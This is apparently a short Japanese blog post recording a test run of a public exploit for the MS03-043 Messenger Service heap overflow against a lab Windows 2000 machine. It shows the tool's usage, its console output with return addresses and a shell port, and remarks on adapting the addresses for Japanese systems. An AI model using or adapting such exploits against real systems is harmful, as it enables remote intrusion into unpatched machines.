MS03-043 Microsoft Messenger Service Heap Overflow 関連

• Microsoft Messenger Service Heap Overflow Exploit (MS03-043)(securitylab.ru)
• ソース：msgr07.c.txt
• バイナリ：msgr07.exe

例のXPで「wkssvc.dll」が更新されない問題ですがMS03-043のパッチがWindowsUpdateや自動更新で出るようになってました。更新されたのかな？
公式情報には特別に情報無しですね。

• マイクロソフト サポート技術情報 - 828035
• メッセンジャ サービスのバッファ オーバーランにより、コードが実行される (828035) (MS03-043)

ということでmsgr07.exeを試してみました。

C:\>msgr07.exe


=[ MS Messenger Service Heap Overflow Exploit (MS03-043) ver 0.7 ]=-
 by Adik < netmaniac [at] hotmail.KG >
 http://netninja.to.kg

 Target OS version:

 [0]    Windows 2000 SP 3 (en)
 [1]    Windows XP SP 1 (en)

 Usage: C:\msgr07.exe [TargetIP] [ver: 0 | 1]
 eg: msgr.exe 192.168.63.130 0

C:\>msgr07.exe 192.168.100.16 0


=[ MS Messenger Service Heap Overflow Exploit (MS03-043) ver 0.7 ]=-
 by Adik < netmaniac [at] hotmail.KG >
 http://netninja.to.kg

[*] Target:      IP: 192.168.100.16      OS: Windows 2000 SP 3 (en)
[*] UEF:         0x77ee044c
[*] JMP:         0x768d693e

[*] WSAStartup initialized...
[*] Msg body size: 3600
[*] Socket initialized...
[*] Injecting packet into a remote process...
[*] Packet injected...
[i] Try connecting to 192.168.100.16:9191

• • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • -

ターゲットはWindows2000SP3(192.168.100.16)ですが再起動カウントダウンが出ました。巨大なメッセージウインドが開いたりしました。アドレス部分を日本語向けに変更する必要ありでしょう。